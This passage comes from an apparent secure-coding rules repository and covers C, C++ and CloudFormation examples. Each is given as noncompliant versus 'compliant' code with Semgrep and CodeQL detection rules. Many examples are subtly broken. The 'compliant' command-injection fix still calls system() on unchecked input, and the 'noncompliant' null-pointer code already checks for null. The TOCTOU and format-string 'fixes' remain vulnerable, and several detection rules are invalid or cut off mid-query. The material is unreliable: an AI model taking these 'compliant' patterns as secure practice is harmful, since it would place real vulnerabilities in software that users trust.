vulnerabilities, where an attacker can manipulate the input to execute arbitrary commands on the system.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid executeCommand(const char* command) {\n    // Perform appropriate input validation and sanitization\n    // to ensure command integrity\n\n    system(command);\n    // Compliant code: executing the command directly without string manipulation\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* userInput = \"ls -la\";\n    executeCommand(userInput);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code performs input validation and sanitization to ensure the integrity of the command being executed. It avoids string manipulation and directly executes the command, reducing the risk of code injection vulnerabilities.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: code-injection\n  pattern: \"system($expr)\"\n  message: Potential code injection vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom CallExpr systemCall\nwhere systemCall.getTarget().toString() = \"system\"\nselect systemCall,\n       \"Potential code injection vulnerability detected\" as message\n```\n\n\n\n\n## DLL Hijacking\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <windows.h>\n\nvoid loadDLL(const char* dllName) {\n    HMODULE hModule = LoadLibraryA(dllName);\n    // Noncompliant code: loading a DLL without specifying the absolute path\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* dllName = \"mydll.dll\";\n    loadDLL(dllName);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the loadDLL function loads a DLL using the LoadLibraryA function without specifying the absolute path of the DLL. This can lead to DLL hijacking vulnerabilities, where an attacker can place a malicious DLL with the same name in a location where the application searches, leading to the execution of unintended code.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <windows.h>\n#include <stdbool.h>\n\nbool isValidDLLPath(const char* dllPath) {\n    // Perform appropriate validation to ensure the DLL path is trusted\n\n    // Return true if the DLL path is valid, false otherwise\n    return true;\n}\n\nvoid loadDLL(const char* dllName) {\n    char dllPath[MAX_PATH];\n    // Construct the absolute path to the DLL using a trusted location\n    snprintf(dllPath, sizeof(dllPath), \"C:\\\\Path\\\\To\\\\DLLs\\\\%s\", dllName);\n\n    if (!isValidDLLPath(dllPath)) {\n        // Handle the error condition appropriately (e.g., log, return, etc.)\n        return;\n    }\n\n    HMODULE hModule = LoadLibraryA(dllPath);\n    // Compliant code: loading the DLL with the absolute path\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* dllName = \"mydll.dll\";\n    loadDLL(dllName);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code ensures the DLL is loaded using the absolute path of the DLL file. It constructs the absolute path using a trusted location and performs appropriate validation (isValidDLLPath) to ensure the DLL path is trusted before loading the DLL.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: dll-hijacking\n  patterns:\n    - \"LoadLibraryA($dllName)\"\n    - \"LoadLibraryW($dllName)\"\n  message: Potential DLL hijacking vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom CallExpr loadLibraryCall\nwhere loadLibraryCall.getTarget().toString() = \"LoadLibraryA\"\n   or loadLibraryCall.getTarget().toString() = \"LoadLibraryW\"\nselect loadLibraryCall,\n       \"Potential DLL hijacking vulnerability detected\" as message\n```\n\n\n\n\n\n## Use After Free\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdlib.h>\n\nvoid useAfterFree() {\n    int* ptr = (int*)malloc(sizeof(int));\n    free(ptr);\n    *ptr = 42;  // Noncompliant code: use after free\n\n    // Rest of the code...\n}\n\nint main() {\n    useAfterFree();\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the useAfterFree function allocates memory using malloc, but then immediately frees it using free. After that, it attempts to dereference the freed pointer, leading to undefined behavior and potential use after free vulnerability.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdlib.h>\n\nvoid useAfterFree() {\n    int* ptr = (int*)malloc(sizeof(int));\n    if (ptr == NULL) {\n        // Handle allocation failure appropriately (e.g., return, log, etc.)\n        return;\n    }\n\n    *ptr = 42;\n    // Compliant code: using the allocated memory before freeing it\n\n    free(ptr);\n\n    // Rest of the code...\n}\n\nint main() {\n    useAfterFree();\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code ensures that the allocated memory is used before freeing it. It performs appropriate checks for allocation failure and handles it accordingly to avoid use after free vulnerabilities.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: use-after-free\n  pattern: \"free($expr); $expr =\"\n  message: Potential use after free vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom ExprStmt freeStmt, assignment\nwhere freeStmt.getExpr().toString().matches(\"^free\\\\(.*\\\\)$\")\n  and assignment.toString().matches(\"^.* = .*\")\n  and assignment.getExpr().toString() = freeStmt.getExpr().toString()\nselect freeStmt,\n       \"Potential use after free vulnerability detected\" as message\n```\n\n\n\n\n\n\n## Uninitialized Variables\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nint getValue() {\n    int value;  // Noncompliant code: uninitialized variable\n\n    // Perform some operations or calculations to initialize the value\n\n    return value;\n}\n\nint main() {\n    int result = getValue();\n    printf(\"Result: %d\\n\", result);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the variable value is declared but not initialized before being used in the getValue function. This can lead to undefined behavior and incorrect results when the uninitialized variable is accessed.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nint getValue() {\n    int value = 0;  // Compliant code: initializing the variable\n\n    // Perform some operations or calculations to initialize the value\n\n    return value;\n}\n\nint main() {\n    int result = getValue();\n    printf(\"Result: %d\\n\", result);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code initializes the variable value to a known value (in this case, 0) before using it. This ensures that the variable has a defined value and prevents potential issues caused by uninitialized variables.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: uninitialized-variable\n  pattern: \"$type $varName;\"\n  message: Potential uninitialized variable detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom VariableDeclarator uninitializedVariable\nwhere not uninitializedVariable.hasInitializer()\nselect uninitializedVariable,\n       \"Potential uninitialized variable detected\" as message\n```\n\n\n\n\n\n## Race Conditions\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <pthread.h>\n\nint counter = 0;\n\nvoid* incrementCounter(void* arg) {\n    for (int i = 0; i < 1000; ++i) {\n        counter++;  // Noncompliant code: race condition\n    }\n\n    return NULL;\n}\n\nint main() {\n    pthread_t thread1, thread2;\n\n    pthread_create(&thread1, NULL, incrementCounter, NULL);\n    pthread_create(&thread2, NULL, incrementCounter, NULL);\n\n    pthread_join(thread1, NULL);\n    pthread_join(thread2, NULL);\n\n    printf(\"Counter value: %d\\n\", counter);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, two threads are created to increment a shared counter variable. However, since the increments are not synchronized, a race condition occurs where the threads can interfere with each other, leading to unpredictable and incorrect results.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <pthread.h>\n\nint counter = 0;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid* incrementCounter(void* arg) {\n    for (int i = 0; i < 1000; ++i) {\n        pthread_mutex_lock(&mutex);  // Acquire the lock\n        counter++;  // Compliant code: synchronized access to counter\n        pthread_mutex_unlock(&mutex);  // Release the lock\n    }\n\n    return NULL;\n}\n\nint main() {\n    pthread_t thread1, thread2;\n\n    pthread_create(&thread1, NULL, incrementCounter, NULL);\n    pthread_create(&thread2, NULL, incrementCounter, NULL);\n\n    pthread_join(thread1, NULL);\n    pthread_join(thread2, NULL);\n\n    printf(\"Counter value: %d\\n\", counter);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code introduces a mutex (pthread_mutex_t) to synchronize access to the counter variable. The mutex is locked before accessing the counter and unlocked afterward, ensuring that only one thread can modify the counter at a time, eliminating the race condition.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: race-condition\n  pattern: |\n    $lockPattern($lockVar);\n    $varName $incOp\n  message: Potential race condition detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom LockExpr lockExpr, PostfixIncExpr postfixInc\nwhere lockExpr.getLockVar().getType().toString() = \"pthread_mutex_t *\"\n  and lockExpr.getLockPattern().toString() = \"pthread_mutex_lock\"\n  and postfixInc.getOperand().toString() = lockExpr.getLockVar().toString()\nselect lockExpr,\n       \"Potential race condition detected\" as message\n```\n\n\n\n\n\n## Insecure File Operations\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nvoid readFile(const char* filename) {\n    FILE* file = fopen(filename, \"r\");  // Noncompliant code: insecure file operation\n\n    if (file != NULL) {\n        // Read the contents of the file\n\n        fclose(file);\n    }\n}\n\nint main() {\n    const char* filename = \"sensitive.txt\";\n    readFile(filename);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the readFile function uses the fopen function to open a file in read mode. However, it does not perform any validation or check for errors, which can lead to security vulnerabilities. An attacker may manipulate the filename argument to access unintended files or directories.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nvoid readFile(const char* filename) {\n    if (filename == NULL) {\n        // Handle invalid filename appropriately (e.g., return, log, etc.)\n        return;\n    }\n\n    FILE* file = fopen(filename, \"r\");\n    if (file != NULL) {\n        // Read the contents of the file\n\n        fclose(file);\n    }\n}\n\nint main() {\n    const char* filename = \"sensitive.txt\";\n    readFile(filename);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code includes a check to ensure that the filename argument is not NULL before performing the file operation. Additionally, error handling and proper file closure are implemented to mitigate potential security risks.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: insecure-file-operation\n  pattern: \"fopen($filename, $mode);\"\n  message: Potential insecure file operation detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom CallExpr fopenCall\nwhere fopenCall.getTarget().getName() = \"fopen\"\n  and exists(ExceptionalControlFlow ecf |\n    ecf.getAnomalyType() = \"ANOMALY_UNCHECKED_RETURN_VALUE\"\n    and ecf.getAnomalySource() = fopenCall\n  )\nselect fopenCall,\n       \"Potential insecure file operation detected\" as message\n```\n\n\n\n\n\n## API Hooking\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <windows.h>\n\nvoid hookFunction() {\n    // Hooking code here\n    // ...\n}\n\nint main() {\n    // Original function code here\n    // ...\n\n    hookFunction();\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the hookFunction is used to modify or replace the behavior of an original function. This technique is commonly known as API hooking and is often used for malicious purposes, such as intercepting sensitive data or tampering with the system. The noncompliant code lacks proper authorization and control over the hooking process.\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nvoid originalFunction() {\n    // Original function code here\n    // ...\n}\n\nvoid hookFunction() {\n    // Hooking code here\n    // ...\n}\n\nint main() {\n    // Original function code here\n    // ...\n\n    // Call the original function\n    originalFunction();\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code separates the original function (originalFunction) and the hooking logic (hookFunction) into separate functions. Instead of directly hooking the original function, the compliant code calls the original function itself, ensuring the intended behavior and avoiding unauthorized modification.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: api-hooking\n  pattern: |\n    $hookFunc:ident();\n  message: Potential API hooking detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom CallExpr hookFuncCall\nwhere hookFuncCall.getTarget().getName() = \"hookFunction\"\nselect hookFuncCall,\n       \"Potential API hooking detected\" as message\n```\n\n\n\n\n\n\n\n\n## TOCTOU\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/stat.h>\n\nvoid processFile(const char* filename) {\n    struct stat fileStat;\n    stat(filename, &fileStat);  // Time-of-Check\n\n    // Simulate a delay between Time-of-Check and Time-of-Use\n    sleep(1);\n\n    if (S_ISREG(fileStat.st_mode)) {\n        // Perform operations on regular files\n        // ...\n    }\n}\n\nint main() {\n    const char* filename = \"data.txt\";\n    processFile(filename);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the processFile function checks the file properties using the stat function (Time-of-Check). However, there is a delay introduced using the sleep function, creating a window of opportunity for an attacker to modify or replace the file before the Time-of-Use occurs. This can lead to security vulnerabilities where the wrong file may be processed.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/stat.h>\n\nvoid processFile(const char* filename) {\n    struct stat fileStat;\n\n    // Perform the Time-of-Check and Time-of-Use atomically\n    if (stat(filename, &fileStat) == 0 && S_ISREG(fileStat.st_mode)) {\n        // Perform operations on regular files\n        // ...\n    }\n}\n\nint main() {\n    const char* filename = \"data.txt\";\n    processFile(filename);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code performs the Time-of-Check and Time-of-Use atomically within the processFile function. It checks the return value of the stat function to ensure that it was successful and then checks the file's properties. By eliminating the delay between the Time-of-Check and Time-of-Use, the compliant code mitigates the TOCTOU vulnerability.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: toctou\n  pattern: |\n    $checkStat:stat($filename, $_);\n    sleep($delay);\n    if ($checkStat && S_ISREG($_.st_mode)) {\n      // Vulnerable code here\n      // ...\n    }\n  message: Potential TOCTOU vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom CallExpr statCall, SleepExpr sleepExpr, Expr statArg\nwhere statCall.getTarget().getName() = \"stat\"\n  and sleepExpr.getArgument() = $delay\n  and statArg.getType().toString() = \"struct stat *\"\n  and exists(ControlFlowNode statNode |\n    statNode.asExpr() = statCall\n    and exists(ControlFlowNode sleepNode |\n      sleepNode.asExpr() = sleepExpr\n      and sleepNode < statNode\n    )\n  )\n  and exists(Expr fileStat |\n    fileStat.getType().getName() = \"struct stat\"\n    and exists(ControlFlowNode useNode |\n      useNode.asExpr() = fileStat\n      and useNode > statNode\n      and useNode < sleepNode\n      and useNode.(CallExpr).getTarget().getName() = \"\n```\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/rules/cloudFormation.md",
    "content": "---\nlayout: default\ntitle: CloudFormation\nparent: Rules\n---\n\n# CloudFormation\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### Hardcoded Name\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n# Noncompliant code\nResources:\n  MyBucket:\n    Type: AWS::S3::Bucket\n    Properties:\n      BucketName: my-bucket\n```\n\nIn this noncompliant code, an AWS CloudFormation template is used to create an S3 bucket. The bucket name is hardcoded as my-bucket without considering potential naming conflicts or security best practices. This approach introduces security risks, as the bucket name might already be taken or it might inadvertently expose sensitive information.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n# Compliant code\nResources:\n  MyBucket:\n    Type: AWS::S3::Bucket\n    Properties:\n      BucketName: \n        Fn::Sub: \"my-bucket-${AWS::StackName}-${AWS::Region}\"\n]\n```\n\n\nIn the compliant code, the bucket name is dynamically generated using the Fn::Sub intrinsic function. The bucket name is composed of the string \"my-bucket-\", followed by the current CloudFormation stack name (AWS::StackName), and the AWS region (AWS::Region). This approach ensures uniqueness of the bucket name within the CloudFormation stack and helps mitigate potential naming conflicts.\n\nBy using dynamic naming with the Fn::Sub function, you can avoid hardcoded values and provide a more flexible and secure approach to resource creation in CloudFormation.\n\nAdditionally, you can implement other security measures such as:\n\n* Leveraging IAM policies to control access permissions for the created resources.\n* Implementing resource-level permissions using AWS Identity and Access Management (IAM) roles and policies.\n* Encrypting sensitive data at rest using AWS Key Management Service (KMS) or other encryption mechanisms.\n* Implementing stack-level or resource-level CloudFormation stack policies to control stack updates and prevent unauthorized modifications.\n\nBy following security best practices and utilizing dynamic values in CloudFormation templates, you can enhance the security, flexibility, and reliability of your infrastructure deployments in AWS.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: noncompliant-s3-bucket-properties\n    patterns:\n      - pattern: 'Type: AWS::S3::Bucket\\n    Properties:\\n      BucketName: .+'\n    message: \"Noncompliant S3 bucket properties\"\n```\n\nCodeQL:\n\n\n\n```\nimport cf\n\nfrom Template t\nwhere exists (Bucket b | b.getType().toString() = \"AWS::S3::Bucket\")\n  and not exists (Bucket b | b.getType().toString() = \"AWS::S3::Bucket\" and b.getProperties().get(\"BucketName\") != null)\nselect t\n```\n\n\n\n"
  },
  {
    "path": "docs/rules/cpp.md",
    "content": "---\nlayout: default\ntitle: Cpp\nparent: Rules\n---\n\n# Cpp\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Buffer Overflow\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    char buffer[5];\n    strcpy(buffer, \"Hello, world!\"); // Noncompliant code\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, a character array buffer of size 5 is declared. The strcpy function is then used to copy a string into the buffer. However, the string \"Hello, world!\" requires more than 5 characters to store, causing a buffer overflow. Writing beyond the bounds of the buffer leads to undefined behavior and potential security vulnerabilities.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <cstring>\n\nint main() {\n    char buffer[20];\n    strncpy(buffer, \"Hello, world!\", sizeof(buffer) - 1);\n    buffer[sizeof(buffer) - 1] = '\\0';\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code declares a character array buffer of size 20, providing sufficient space to store the string. The strncpy function is used to copy the string into the buffer while limiting the number of characters copied to the size of the buffer minus 1. Additionally, a null terminator is explicitly added to ensure the string is properly terminated.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: buffer-overflow\n  pattern: strcpy($buffer, $source)\n  message: Potential buffer overflow detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom CallExpr strcpyCall\nwhere strcpyCall.getArgument(0).getType().toString() = \"char[]\"\nselect strcpyCall,\n       \"Potential buffer overflow detected\" as message\n```\n\n\n\n\n\n\n## Null Pointer Dereference\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\nvoid foo(int* ptr) {\n    if (ptr != nullptr) {\n        *ptr = 42;\n    } else {\n        // handle error\n    }\n}\n\nint main() {\n    int* ptr = nullptr;\n    foo(ptr);\n    return 0;\n}\n```\n\nIn this example, the foo() function takes a pointer to an integer and dereferences it to set its value to 42, but it does not check if the pointer is null. If a null pointer is passed to foo(), a null pointer dereference will occur, which can cause the program to crash or exhibit undefined behavior.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\nvoid foo(int* ptr) {\n    if (ptr != nullptr) {\n        *ptr = 42;\n    } else {\n        // handle error\n    }\n}\n\nint main() {\n    int i = 0;\n    int* ptr = &i;\n    foo(ptr);\n    return 0;\n}\n```\n\n\nIn the compliant code, the pointer is initialized to a valid address of an integer variable i using the address-of operator &. This ensures that the pointer is not null and prevents a null pointer dereference.\n\nAlternatively, the foo() function could be modified to handle null pointers gracefully, such as returning an error code or throwing an exception. In general, it is important to always check pointers for null before dereferencing them to prevent null pointer dereferences, which can lead to crashes and security vulnerabilities.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: null-pointer-dereference\n    patterns:\n      - pattern: 'if \\(ptr != nullptr\\)'\n    message: \"Potential null pointer dereference\"\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom Function f\nwhere f.getName() = \"foo\"\nselect f\n```\n\n\n\n\n\n\n## Integer Overflow/Underflow\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    int a = INT_MAX;\n    int b = 1;\n    int result = a + b;\n\n    std::cout << \"Result: \" << result << std::endl;\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the program performs an addition operation between a and b without checking for potential integer overflow. If the value of a is already at its maximum (INT_MAX), the addition will result in undefined behavior due to integer overflow.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <limits>\n\nint main() {\n    int a = INT_MAX;\n    int b = 1;\n\n    if (a > std::numeric_limits<int>::max() - b) {\n        std::cout << \"Integer overflow occurred!\" << std::endl;\n    } else {\n        int result = a + b;\n        std::cout << \"Result: \" << result << std::endl;\n    }\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code includes a check for potential integer overflow before performing the addition. It compares the value of `a` with the maximum value of the integer type (`std::numeric_limits<int>::max()`) minus `b`. If the comparison indicates that an overflow will occur, appropriate actions can be taken to handle the overflow condition. In this example, an informative message is displayed when an overflow is detected.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: integer-overflow\n  pattern: |\n    int a = INT_MAX;\n    int b = 1;\n    int result = a + b;\n  message: Potential integer overflow/underflow detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom Function main() {\n  where exists(BinaryOperator addition | subtraction |\n              multiplication | division |\n              modulus | shift) and\n              (addition.getOperandType() = int() or\n              subtraction.getOperandType() = int() or\n              multiplication.getOperandType() = int() or\n              division.getOperandType() = int() or\n              modulus.getOperandType() = int() or\n              shift.getOperandType() = int())\n  select addition, subtraction, multiplication, division, modulus, shift,\n         \"Potential integer overflow/underflow detected\" as message\n}\n```\n\n\n\n\n## Denial-of-Service (DoS)\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nvoid processRequest() {\n    // Process the request\n    // ...\n\n    // Intentional infinite loop\n    while (true) {\n        // Perform some expensive operation\n        // ...\n    }\n}\n\nint main() {\n    processRequest();\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the processRequest function contains an intentional infinite loop that performs an expensive operation. This can lead to a DoS vulnerability as it consumes excessive resources, such as CPU time, causing the application or system to become unresponsive.\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n\nvoid processRequest() {\n    // Process the request\n    // ...\n}\n\nint main() {\n    processRequest();\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code removes the intentional infinite loop from the processRequest function, ensuring that the application does not consume excessive resources and remains responsive. By eliminating the resource-intensive operation, the compliant code mitigates the DoS vulnerability.\n\n\n\n\nSemgrep:\n\n\n```\n\n```\n\nCodeQL:\n\n\n\n```\n\n```\n\n\n\n\n\n\n\n## Format String\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    char* user_input = nullptr;\n    std::cout << \"Enter your name: \";\n    std::cin >> user_input;\n\n    // Noncompliant code\n    printf(user_input);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the user's input is directly passed as a format string argument to the printf function. If the user input contains format specifiers, it can lead to a Format String vulnerability. An attacker can exploit this vulnerability to read or modify memory, execute arbitrary code, or crash the application.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    char user_input[256];\n    std::cout << \"Enter your name: \";\n    std::cin >> user_input;\n\n    // Compliant code\n    std::cout << user_input << std::endl;\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code uses the std::cout stream to print the user's input, avoiding the direct use of the format string vulnerability. By using std::cout, the input is treated as a plain string and not interpreted as a format string.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: format-string-vulnerability\n  pattern: printf($format)\n  message: Potential format string vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionCall printfCall\nwhere printfCall.getTarget().hasName(\"printf\") and\n      printfCall.getArgument(0).getType().toString() = \"char*\"\nselect printfCall,\n       \"Potential format string vulnerability detected\" as message\n```\n\n\n\n\n## Insecure Cryptography\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <openssl/md5.h>\n\nstd::string generateHash(const std::string& data) {\n    unsigned char digest[MD5_DIGEST_LENGTH];\n    MD5((unsigned char*)data.c_str(), data.length(), digest);\n\n    char hexDigest[MD5_DIGEST_LENGTH * 2 + 1];\n    for (int i = 0; i < MD5_DIGEST_LENGTH; ++i) {\n        sprintf(hexDigest + (i * 2), \"%02x\", digest[i]);\n    }\n\n    return std::string(hexDigest);\n}\n\nint main() {\n    std::string password = \"myPassword\";\n    std::string hashedPassword = generateHash(password);\n\n    std::cout << \"Hashed Password: \" << hashedPassword << std::endl;\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the MD5 hashing algorithm is used to generate a hash for a password. However, MD5 is considered insecure for cryptographic purposes due to its vulnerability to collision attacks and the availability of faster and more secure hashing algorithms. Using MD5 for password hashing can expose the application to security risks.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <openssl/sha.h>\n\nstd::string generateHash(const std::string& data) {\n    unsigned char digest[SHA256_DIGEST_LENGTH];\n    SHA256((unsigned char*)data.c_str(), data.length(), digest);\n\n    char hexDigest[SHA256_DIGEST_LENGTH * 2 + 1];\n    for (int i = 0; i < SHA256_DIGEST_LENGTH; ++i) {\n        sprintf(hexDigest + (i * 2), \"%02x\", digest[i]);\n    }\n\n    return std::string(hexDigest);\n}\n\nint main() {\n    std::string password = \"myPassword\";\n    std::string hashedPassword = generateHash(password);\n\n    std::cout << \"Hashed Password: \" << hashedPassword << std::endl;\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code addresses the insecure cryptography issue by replacing the use of MD5 with the more secure SHA-256 hashing algorithm. SHA-256 is considered stronger and more resistant to collision attacks.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: insecure-cryptography\n  pattern: MD5($data)\n  message: Insecure cryptography algorithm (MD5) detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionCall md5Call\nwhere md5Call.getTarget().hasQualifiedName(\"MD5\")\nselect md5Call,\n       \"Insecure cryptography algorithm (MD5) detected\" as message\n```\n\n\n\n\n\n\n## Memory Corruption\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nvoid writeToMemory(char* buffer, const char* data, size_t length) {\n    strcpy(buffer, data); // Noncompliant code\n    buffer[length] = '\\0'; // Noncompliant code\n}\n\nint main() {\n    char buffer[10];\n    const char* data = \"Hello, World!\";\n\n    writeToMemory(buffer, data, strlen(data));\n\n    std::cout << \"Buffer: \" << buffer << std::endl;\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the writeToMemory function uses the strcpy function to copy data into a buffer without proper bounds checking. This can result in buffer overflow, leading to memory corruption. Additionally, the code attempts to write a null terminator beyond the buffer's size, causing buffer over-read and potential memory corruption.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <cstring>\n\nvoid writeToMemory(char* buffer, const char* data, size_t length) {\n    strncpy(buffer, data, length);\n    buffer[length - 1] = '\\0';\n}\n\nint main() {\n    char buffer[10];\n    const char* data = \"Hello, World!\";\n\n    writeToMemory(buffer, data, sizeof(buffer));\n\n    std::cout << \"Buffer: \" << buffer << std::endl;\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code addresses the memory corruption issue by using strncpy instead of strcpy to copy data into the buffer, ensuring that the length is respected. The code also correctly sets the null terminator within the buffer's size limit.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: memory-corruption\n  pattern: strcpy($buffer, $data)\n  message: Potential memory corruption (strcpy) detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionCall strcpyCall\nwhere strcpyCall.getTarget().hasName(\"strcpy\")\nselect strcpyCall,\n       \"Potential memory corruption (strcpy) detected\" as message\n```\n\n\n\n\n\n## Code Injection\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nvoid executeCommand(const std::string& command) {\n    std::string fullCommand = \"echo \" + 